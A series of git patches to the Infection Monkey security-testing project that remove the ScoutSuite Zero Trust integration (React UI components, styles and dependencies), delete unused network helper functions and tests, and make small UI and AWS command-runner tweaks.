getResourceDropdown() { - return ( -
    - - -
    - ); - } - - function replacePathDotsWithArrows(resourcePath) { - let path_vars = resourcePath.split('.') - let display_path = [] - for (let i = 0; i < path_vars.length; i++) { - display_path.push(path_vars[i]) - if (i !== path_vars.length - 1) { - display_path.push() - } - } - return display_path; - } - - function prettyPrintJson(data) { - return JSON.stringify(data, null, 4); - } - - function getResourceValueDisplay() { - return ( -
    -

    Value:

    -
    {prettyPrintJson(resource_value)}
    -
    - ); - } - - function getResourceDropdownContents() { - return ( -
    -
    -

    Path:

    -

    {replacePathDotsWithArrows(props.resource_path)}

    -
    - {getResourceValueDisplay()} -
    - ); - } - - return getResourceDropdown(); -} - -ResourceDropdown.propTypes = { - template_path: PropTypes.string, - resource_path: PropTypes.string, - scoutsuite_data: PropTypes.object -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js deleted file mode 100644 index dc81ff183..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js +++ /dev/null @@ -1,70 +0,0 @@ -import React from 'react'; -import * as PropTypes from 'prop-types'; -import '../../../../styles/components/scoutsuite/RuleDisplay.scss' -import ResourceDropdown from './ResourceDropdown'; - -export default function RuleDisplay(props) { - - return ( -
    -
    -

    {props.rule.description}({props.rule.service})

    -
    -
    -

    -

    -
    -

    Resources checked:

    -

    {props.rule.checked_items}

    -
    - {getReferences()} - {getResources()} -
    ); - - function getReferences() { - let references = [] - props.rule.references.forEach(reference => { - references.push({reference}) - }) - if (references.length) { - return ( -
    -

    References:

    - {references} -
    ) - } else { - return null; - } - } - - function getResources() { - let resources = [] - for (let i = 0; i < props.rule.items.length; i++) { - let item = props.rule.items[i]; - let template_path = Object.prototype.hasOwnProperty.call(props.rule, 'display_path') - ? props.rule.display_path : props.rule.path; - resources.push() - } - if (resources.length) { - return ( -
    -

    Flagged resources ({props.rule.flagged_items}):

    - {resources} -
    ) - } else { - return null; - } - } -} - -RuleDisplay.propTypes = { - rule: PropTypes.object, - scoutsuite_data: PropTypes.object -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js deleted file mode 100644 index be5599d99..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js +++ /dev/null @@ -1,118 +0,0 @@ -export default class ScoutSuiteDataParser { - constructor(runResults) { - this.runResults = runResults - } - - /** - * Gets value of cloud resource based on path of specific checked field and more abstract template path, - * which describes the scope of resource values. - * @param itemPath contains path to a specific value e.g. s3.buckets.da1e7081077ce92.secure_transport_enabled - * @param templatePath contains a template path for resource we would want to display e.g. s3.buckets.id - * @returns {*[]|*} resource value e.g. {'bucket_id': 123, 'bucket_max_size': '123GB'} - */ - getResourceValue(itemPath, templatePath) { - let resourcePath = this.fillTemplatePath(itemPath, templatePath); - return this.getObjectValueByPath(resourcePath, this.runResults); - } - - /** - * Replaces id's in template path with id's from item path to form actual path to the object - * @param itemPath e.g. s3.buckets.da1e7081077ce92.secure_transport_enabled - * @param templatePath e.g. s3.buckets.id - * @returns {*} e.g. s3.buckets.da1e7081077ce92 - */ - fillTemplatePath(itemPath, templatePath) { - let itemPathArray = itemPath.split('.'); - let templatePathArray = templatePath.split('.'); - let resourcePathArray = templatePathArray.map((val, i) => { - return val === 'id' ? itemPathArray[i] : val - }) - return resourcePathArray.join('.'); - } - - /** - * Retrieves value from ScoutSuite data object based on path, provided in the rule - * @param path E.g. a.id.c.id.e - * @param source E.g. {a: {b: {c: {d: {e: [{result1: 'result1'}, {result2: 'result2'}]}}}}} - * @returns {*[]|*} E.g. ['result1', 'result2'] - */ - getObjectValueByPath(path, source) { - let key; - - while (path) { - key = this.getNextKeyInPath(path); - source = this.getValueForKey(key, path, source); - path = this.trimFirstKey(path); - } - - return source; - } - - /** - * Gets next key from the path - * @param path e.g. s3.buckets.id - * @returns {string|*} s3 - */ - getNextKeyInPath(path) { - if (path.indexOf('.') !== -1) { - return path.substr(0, path.indexOf('.')); - } else { - return path; - } - } - - /** - * Returns value from object, based on path and current key - * @param key E.g. "a" - * @param path E.g. "a.b.c" - * @param source E.g. {a: {b: {c: 'result'}}} - * @returns {[]|*} E.g. {b: {c: 'result'}} - */ - getValueForKey(key, path, source) { - if (key === 'id') { - return this.getValueByReplacingUnknownKey(path, source); - } else { - return source[key]; - } - } - - /** - * Gets value from object if first key in path doesn't match source object - * @param path unknown.b.c - * @param source {a: {b: {c: [{result:'result'}]}}} - * @returns {[]} 'result' - */ - getValueByReplacingUnknownKey(path, source) { - let value = []; - for (let key in source) { - value = this.getObjectValueByPath(this.replaceFirstKey(path, key), source); - value = value.concat(Object.values(value)); - } - return value; - } - - /** - * Replaces first key in path - * @param path E.g. "one.two.three" - * @param replacement E.g. "four" - * @returns string E.g. "four.two.three" - */ - replaceFirstKey(path, replacement) { - return replacement + path.substr(path.indexOf('.'), path.length); - } - - /** - * Trims the first key from dot separated path. - * @param path E.g. "one.two.three" - * @returns {string|boolean} E.g. "two.three" - */ - trimFirstKey(path) { - if (path.indexOf('.') !== -1) { - return path.substr(path.indexOf('.') + 1, path.length); - } else { - return false; - } - } - - -} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js deleted file mode 100644 index 7ab5925a5..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js +++ /dev/null @@ -1,46 +0,0 @@ -import React, {Component} from 'react'; -import {Button} from 'react-bootstrap'; -import * as PropTypes from 'prop-types'; - -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faList} from '@fortawesome/free-solid-svg-icons/faList'; -import ScoutSuiteRuleModal from './ScoutSuiteRuleModal'; -import CountBadge from '../../../ui-components/CountBadge'; - -export default class ScoutSuiteRuleButton extends Component { - constructor(props) { - super(props); - this.state = { - isModalOpen: false - } - } - - toggleModal = () => { - this.setState({isModalOpen: !this.state.isModalOpen}); - }; - - render() { - return ( - <> - -
    - -
    - ); - } - - createRuleCountBadge() { - - } -} - -ScoutSuiteRuleButton.propTypes = { - scoutsuite_rules: PropTypes.array, - scoutsuite_data: PropTypes.object -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js deleted file mode 100644 index fd7fa3851..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js +++ /dev/null @@ -1,94 +0,0 @@ -import React, {useState} from 'react'; -import {Modal} from 'react-bootstrap'; -import * as PropTypes from 'prop-types'; -import Pluralize from 'pluralize'; -import ScoutSuiteSingleRuleDropdown from './ScoutSuiteSingleRuleDropdown'; -import '../../../../styles/components/scoutsuite/RuleModal.scss'; -import STATUSES from '../../common/consts/StatusConsts'; -import {getRuleCountByStatus, sortRules} from './rule-parsing/ParsingUtils'; - - -export default function ScoutSuiteRuleModal(props) { - const [openRuleId, setOpenRuleId] = useState(null) - - function toggleRuleDropdown(ruleId) { - let ruleIdToSet = (openRuleId === ruleId) ? null : ruleId; - setOpenRuleId(ruleIdToSet); - } - - function renderRuleDropdowns() { - let dropdowns = []; - let rules = sortRules(props.scoutsuite_rules); - rules.forEach(rule => { - let dropdown = ( toggleRuleDropdown(rule.description)} - rule={rule} - scoutsuite_data={props.scoutsuite_data} - key={rule.description + rule.path}/>) - dropdowns.push(dropdown) - }); - return dropdowns; - } - - function getGeneralRuleOverview() { - return <> - There {Pluralize('is', props.scoutsuite_rules.length)} -  {props.scoutsuite_rules.length} -  ScoutSuite {Pluralize('rule', props.scoutsuite_rules.length)} associated with this finding. - - } - - function getFailedRuleOverview() { - let failedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_FAILED) + - + getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_VERIFY); - return <> -  {failedRuleCnt} -  failed security {Pluralize('rule', failedRuleCnt)}. - - } - - function getPassedRuleOverview() { - let passedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_PASSED); - return <> -  {passedRuleCnt} -  passed security {Pluralize('rule', passedRuleCnt)}. - - } - - function getUnexecutedRuleOverview() { - let unexecutedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_UNEXECUTED); - return <> -  {unexecutedRuleCnt} -  {Pluralize('rule', unexecutedRuleCnt)} {Pluralize('was', unexecutedRuleCnt)} not - checked (no relevant resources for the rule). - - } - - return ( -
    - props.hideCallback()} className={'scoutsuite-rule-modal'}> - -

    -
    ScoutSuite rules
    -

    -
    -

    - {getGeneralRuleOverview()} - {getFailedRuleOverview()} - {getPassedRuleOverview()} - {getUnexecutedRuleOverview()} -

    - {renderRuleDropdowns()} -
    -
    -
    - ); - -} - -ScoutSuiteRuleModal.propTypes = { - isModalOpen: PropTypes.bool, - scoutsuite_rules: PropTypes.array, - scoutsuite_data: PropTypes.object, - hideCallback: PropTypes.func -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js deleted file mode 100644 index c396066b4..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js +++ /dev/null @@ -1,79 +0,0 @@ -import React from 'react'; -import Collapse from '@kunukn/react-collapse'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome' -import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp' -import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown' - -import classNames from 'classnames'; -import * as PropTypes from 'prop-types'; -import STATUSES from '../../common/consts/StatusConsts'; -import {faCheckCircle, faCircle, faExclamationCircle} from '@fortawesome/free-solid-svg-icons'; -import RuleDisplay from './RuleDisplay'; -import {getRuleStatus} from './rule-parsing/ParsingUtils'; - -export default function ScoutSuiteSingleRuleDropdown(props) { - - function getRuleCollapse() { - return ( -
    - - -
    - ); - } - - function getRuleIcon() { - let ruleStatus = getRuleStatus(props.rule); - switch (ruleStatus) { - case STATUSES.STATUS_PASSED: - return faCheckCircle; - case STATUSES.STATUS_VERIFY: - return faExclamationCircle; - case STATUSES.STATUS_FAILED: - return faExclamationCircle; - case STATUSES.STATUS_UNEXECUTED: - return faCircle; - } - } - - function getDropdownClass() { - let ruleStatus = getRuleStatus(props.rule); - switch (ruleStatus) { - case STATUSES.STATUS_PASSED: - return 'collapse-success'; - case STATUSES.STATUS_VERIFY: - return 'collapse-danger'; - case STATUSES.STATUS_FAILED: - return 'collapse-danger'; - case STATUSES.STATUS_UNEXECUTED: - return 'collapse-default'; - } - } - - function renderRule() { - return - } - - return getRuleCollapse(); -} - - -ScoutSuiteSingleRuleDropdown.propTypes = { - isCollapseOpen: PropTypes.bool, - rule: PropTypes.object, - scoutsuite_data: PropTypes.object, - toggleCallback: PropTypes.func -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js deleted file mode 100644 index da1417d1b..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js +++ /dev/null @@ -1,40 +0,0 @@ -import STATUSES from '../../../common/consts/StatusConsts'; -import RULE_LEVELS from '../../../common/consts/ScoutSuiteConsts/RuleLevels'; - -export function getRuleStatus(rule) { - if (rule.checked_items === 0) { - return STATUSES.STATUS_UNEXECUTED - } else if (rule.items.length === 0) { - return STATUSES.STATUS_PASSED - } else if (rule.level === RULE_LEVELS.LEVEL_WARNING) { - return STATUSES.STATUS_VERIFY - } else { - return STATUSES.STATUS_FAILED - } -} - -export function getRuleCountByStatus(rules, status) { - return rules.filter(rule => getRuleStatus(rule) === status).length; -} - -export function sortRules(rules) { - rules.sort(compareRules); - return rules; -} - -function compareRules(firstRule, secondRule) { - let firstStatus = getRuleStatus(firstRule); - let secondStatus = getRuleStatus(secondRule); - return compareRuleStatuses(firstStatus, secondStatus); -} - -function compareRuleStatuses(ruleStatusOne, ruleStatusTwo) { - const severity_order = { - [STATUSES.STATUS_FAILED]: 1, - [STATUSES.STATUS_VERIFY]: 2, - [STATUSES.STATUS_PASSED]: 3, - [STATUSES.STATUS_UNEXECUTED]: 4 - } - - return severity_order[ruleStatusOne] - severity_order[ruleStatusTwo] -} diff --git a/monkey/monkey_island/cc/ui/src/styles/Main.scss b/monkey/monkey_island/cc/ui/src/styles/Main.scss index 1609dffca..96f59895a 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Main.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Main.scss @@ -13,7 +13,6 @@ @import 'components/PreviewPane'; @import 'components/AdvancedMultiSelect'; @import 'components/particle-component/ParticleBackground'; -@import 'components/scoutsuite/ResourceDropdown'; @import 'components/ImageModal'; @import 'components/Icons'; @import 'components/inline-selection/InlineSelection'; diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss deleted file mode 100644 index 8be9d1956..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss +++ /dev/null @@ -1,86 +0,0 @@ -.aws-scoutsuite-configuration a { - display: inline-block; - padding: 0 0 3px 0; -} - -.aws-scoutsuite-configuration ol { - padding-left: 15px; - margin-bottom: 30px; -} - -.aws-scoutsuite-configuration ol.nested-ol { - margin-bottom: 0; -} - -.aws-scoutsuite-configuration li { - margin-bottom: 0; -} - -.aws-scoutsuite-configuration h2 { - margin-bottom: 20px; -} - -.aws-scoutsuite-configuration p { - margin-bottom: 5px; -} - -.aws-scoutsuite-configuration .cli-link { - padding: 0 0 4px 0; -} - -.monkey-submit-button { - margin-bottom: 15px; -} - -.aws-scoutsuite-key-configuration .collapse-item { - padding: 0; - margin-bottom: 15px; -} - -.aws-scoutsuite-key-configuration .collapse-item .btn-collapse .question-icon { - display: inline-block; - margin-right: 7px; - margin-bottom: 1px; -} - -.aws-scoutsuite-key-configuration .collapse-item .btn-collapse p { - display: inline-block; - margin-bottom: 0; - font-size: 1.2em; - margin-left: 5px -} - -.aws-scoutsuite-key-configuration .key-creation-tutorial { - padding-bottom: 10px; -} - -.aws-scoutsuite-key-configuration .key-creation-tutorial p { - margin-bottom: 2px; - font-weight: 400; -} - -.aws-scoutsuite-key-configuration .key-creation-tutorial h5 { - margin-top: 15px; - font-weight: 600; -} - -.aws-scoutsuite-key-configuration .key-creation-tutorial p:first-child { - margin-top: 15px; -} - -.aws-scoutsuite-key-configuration .image-modal { - margin-top: 5px; -} - -.aws-scoutsuite-key-configuration .key-creation-tutorial img { - max-width: 100%; - max-height: 100%; - border: 1px solid black; -} - -.link-in-success-message { - padding: 0 !important; - vertical-align: initial !important; -} - - diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss deleted file mode 100644 index e09ad922c..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss +++ /dev/null @@ -1,21 +0,0 @@ -.resource-display { - margin-top: 10px; -} - -.resource-display .resource-value-json { - background-color: $gray-200; - padding: 4px; -} - -.resource-display .resource-path-contents svg { - margin-left: 5px; - margin-right: 5px; - width: 10px; -} - -.resource-display .resource-value-title, -.resource-display .resource-path-title { - margin-right:5px; - font-weight: 500; - margin-bottom: 0; -} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss deleted file mode 100644 index 703e27370..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss +++ /dev/null @@ -1,21 +0,0 @@ -.scoutsuite-rule-display .description h3{ - font-size: 1.2em; - margin-top: 10px; -} - -.scoutsuite-rule-display p{ - display: inline-block; -} - -.scoutsuite-rule-display .checked-resources-title, -.scoutsuite-rule-display .flagged-resources-title, -.scoutsuite-rule-display .reference-list-title{ - font-weight: 500; - margin-right: 5px; - margin-bottom: 0; -} - -.scoutsuite-rule-display .reference-list a { - display: block; - margin-left: 10px; -} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss deleted file mode 100644 index 970f0422a..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss +++ /dev/null @@ -1,9 +0,0 @@ -.scoutsuite-rule-modal .modal-dialog { - max-width: 1000px; - top: 0; - padding: 30px; -} - -.collapse-item.rule-collapse button > span:nth-child(2) { - flex: 1 -} From c1c04d804f2e0e6e1629fadad79cd3eacde42bd8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 6 Feb 2022 19:33:41 -0500 Subject: [PATCH 0336/1110] Agent: Remove disused is_running_on_island() function --- monkey/infection_monkey/network/tools.py | 14 +------------- 1 file changed, 1 insertion(+), 13 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index d43fed12e..1a1981616 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -4,9 +4,7 @@ import socket import struct import sys -from common.network.network_utils import get_host_from_network_location -from infection_monkey.config import WormConfiguration -from infection_monkey.network.info import get_routes, local_ips +from infection_monkey.network.info import get_routes DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 @@ -117,13 +115,3 @@ def get_interface_to_target(dst): paths.sort() ret = paths[-1][1] return ret[1] - - -def is_running_on_island(): - current_server_without_port = get_host_from_network_location(WormConfiguration.current_server) - running_on_island = is_running_on_server(current_server_without_port) - return running_on_island and WormConfiguration.depth == WormConfiguration.max_depth - - -def is_running_on_server(ip: str) -> bool: - return ip in local_ips() From fcbdb5a65f464cf16322e026530c7b922a0363e0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 6 Feb 2022 19:34:10 -0500 Subject: [PATCH 0337/1110] Common: Remove disused get_host_from_network_location() function --- monkey/common/network/network_utils.py | 13 ------------- .../unit_tests/common/network/test_network_utils.py | 13 +------------ 2 files changed, 1 insertion(+), 25 deletions(-) diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index 3c87d5737..c0c04a9d0 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -3,19 +3,6 @@ from typing import Optional, Tuple from urllib.parse import urlparse -def get_host_from_network_location(network_location: str) -> str: - """ - URL structure is ":///;?#" ( - https://tools.ietf.org/html/rfc1808.html) - And the net_loc is ":@:" ( - https://tools.ietf.org/html/rfc1738#section-3.1) - :param network_location: server network location - :return: host part of the network location - """ - url = urlparse("http://" + network_location) - return str(url.hostname) - - def remove_port(url): parsed = urlparse(url) with_port = f"{parsed.scheme}://{parsed.netloc}" diff --git a/monkey/tests/unit_tests/common/network/test_network_utils.py b/monkey/tests/unit_tests/common/network/test_network_utils.py index e7d82e649..969837ee5 100644 --- a/monkey/tests/unit_tests/common/network/test_network_utils.py +++ b/monkey/tests/unit_tests/common/network/test_network_utils.py @@ -1,20 +1,9 @@ from unittest import TestCase -from common.network.network_utils import ( - address_to_ip_port, - get_host_from_network_location, - remove_port, -) +from common.network.network_utils import address_to_ip_port, remove_port class TestNetworkUtils(TestCase): - def test_get_host_from_network_location(self): - assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" - assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" - assert get_host_from_network_location("127.0.0.1") == "127.0.0.1" - assert get_host_from_network_location("www.google.com:8080") == "www.google.com" - assert get_host_from_network_location("user:password@host:8080") == "host" - def test_remove_port_from_url(self): assert remove_port("https://google.com:80") == "https://google.com" assert remove_port("https://8.8.8.8:65336") == "https://8.8.8.8" From 9a88ac3ed85571a308d0409932b52c6ccc42a780 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 09:30:57 -0500 Subject: [PATCH 0338/1110] Changelog: Add entry for ScoutSuite removal --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7792d1b12..3b637b3dd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -42,6 +42,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - MySQL fingerprinter. #1648 - MS08-067 (Conficker) exploiter. #1677 - Agent bootloader. #1676 +- Zero Trust integration with ScoutSuite. #1669 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From c458f933c40b38070cae762a88bda9efa0c10a03 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 7 Feb 2022 16:49:45 +0100 Subject: [PATCH 0339/1110] Agent: Remove print statement for policyuniverse in monkey spec --- monkey/infection_monkey/monkey.spec | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 3f6461f22..2d767c8c2 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -5,13 +5,10 @@ import sys -from PyInstaller.utils.hooks import collect_data_files - block_cipher = None def main(): - print(collect_data_files('policyuniverse')) a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), From c129f809b0a3666c5e5aca482cc292de44727c46 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 8 Feb 2022 11:54:30 +0530 Subject: [PATCH 0340/1110] UI: Rename function to make more sense --- .../cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index e01b55789..7c099f224 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -55,7 +55,7 @@ function RunOptions(props) { return InlineSelection(defaultContents, newProps); } - function isNotRansomware(islandMode){ + function isNotRansomwareMode(islandMode){ return islandMode !== 'ransomware'; } @@ -72,7 +72,7 @@ function RunOptions(props) { setComponent(LocalManualRunOptions, {ips: ips, setComponent: setComponent}) }}/> - {isNotRansomware(props.islandMode) && } + {isNotRansomwareMode(props.islandMode) && } ); } From 97059dcd75f80c14bb1a2bef1c6a2769335ae933 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 8 Feb 2022 17:07:19 +0530 Subject: [PATCH 0341/1110] Common: Add sleep before AWS command invocation --- monkey/common/cmd/aws/aws_cmd_runner.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py index f4b8cd7bc..c1c65ecb9 100644 --- a/monkey/common/cmd/aws/aws_cmd_runner.py +++ b/monkey/common/cmd/aws/aws_cmd_runner.py @@ -1,4 +1,5 @@ import logging +import time from common.cloud.aws.aws_service import AwsService from common.cmd.aws.aws_cmd_result import AwsCmdResult @@ -20,6 +21,7 @@ class AwsCmdRunner(CmdRunner): self.ssm = AwsService.get_client("ssm", region) def query_command(self, command_id): + time.sleep(2) return self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id) def get_command_result(self, command_info): From ccb72471bb336a4a85263724e73a8ec73515ec56 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 9 Feb 2022 14:31:58 +0530 Subject: [PATCH 0342/1110] Agent: Remove ScoutSuite from dependencies --- monkey/infection_monkey/Pipfile | 1 - monkey/infection_monkey/Pipfile.lock | 328 ++++++++------------------- 2 files changed, 91 insertions(+), 238 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 90cc234ff..3b287a946 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -18,7 +18,6 @@ pypykatz = "==0.3.12" requests = ">=2.24" urllib3 = "==1.26.5" WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} -ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" typing-extensions = "*" # Allows us to use 3.9 typing features on 3.7 project diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index a40dfa534..bc00423ec 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "250fc3013e7083083999fbf289f8898d63ceffc95a02e87920d254950832ea68" + "sha256": "90dbc7b9edaacc7324c3e1cc9ab1bd618dd62951216cf993225937b20f657779" }, "pipfile-spec": 6, "requires": { @@ -38,20 +38,13 @@ ], "version": "==1.4.0" }, - "asyncio-throttle": { - "hashes": [ - "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" - ], - "markers": "python_version >= '3.5'", - "version": "==0.1.1" - }, "asysocks": { "hashes": [ - "sha256:5ec0582252b0085d9337d13c6b03ab7fd062e487070667f9140e6972bd9db256", - "sha256:b97ac905cd4ca1e7a8e7c295f9cb22ced5dfd3f17e888e71cbf05a1d67a4d393" + "sha256:23d5fcfae71a75826c3ed787bd9b1bc3b189ec37658961bce83c9e99455e354c", + "sha256:731eda25d41783c5243153d3cb4f9357fef337c7317135488afab9ecd6b7f1a1" ], "markers": "python_version >= '3.6'", - "version": "==0.1.6" + "version": "==0.1.7" }, "attrs": { "hashes": [ @@ -84,22 +77,6 @@ "markers": "python_version >= '3.6'", "version": "==3.2.0" }, - "boto3": { - "hashes": [ - "sha256:1903e4462b08f7696a8d0977361fe9e35e7a50d9e70d7abd72a3a17012741938", - "sha256:34e5ae33ef65b1c4e2e197009e88df5dc217386699939ae897d7fcdb5a6ff295" - ], - "markers": "python_version >= '3.6'", - "version": "==1.20.47" - }, - "botocore": { - "hashes": [ - "sha256:82da38e309bd6fd6303394e6e9d1ea50626746f2911e3fec996f9046c5d85085", - "sha256:a89b1be0a7f235533d8279d90b0b15dc2130d0552a9f7654ba302b564ab5688a" - ], - "markers": "python_version >= '3.6'", - "version": "==1.23.47" - }, "certifi": { "hashes": [ "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872", @@ -178,30 +155,6 @@ "markers": "python_version >= '3'", "version": "==2.0.11" }, - "cheroot": { - "hashes": [ - "sha256:366adf6e7cac9555486c2d1be6297993022eff6f8c4655c1443268cca3f08e25", - "sha256:62cbced16f07e8aaf512673987cd6b1fc5ad00073345e9ed6c4e2a5cc2a3a22d" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==8.6.0" - }, - "cherrypy": { - "hashes": [ - "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038", - "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495" - ], - "markers": "python_version >= '3.5'", - "version": "==18.6.1" - }, - "cherrypy-cors": { - "hashes": [ - "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", - "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" - ], - "markers": "python_version >= '2.7'", - "version": "==1.6" - }, "click": { "hashes": [ "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", @@ -210,12 +163,13 @@ "markers": "python_version >= '3.6'", "version": "==8.0.3" }, - "coloredlogs": { + "colorama": { "hashes": [ - "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", - "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" + "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", + "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" ], - "version": "==10.0" + "markers": "platform_system == 'Windows'", + "version": "==0.4.4" }, "constantly": { "hashes": [ @@ -272,20 +226,6 @@ "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.18.2" }, - "httpagentparser": { - "hashes": [ - "sha256:a190dfdc5e63b2f1c87729424b19cbc49263d6a1fb585a16ac1c9d9ce127a4bf" - ], - "version": "==1.9.2" - }, - "humanfriendly": { - "hashes": [ - "sha256:1697e1a8a8f550fd43c2865cd84542fc175a61dcb779b6fee18cf6b6ccba1477", - "sha256:6b0b831ce8f15f7300721aa49829fc4e83921a9a301cc7f606be6686a2288ddc" - ], - 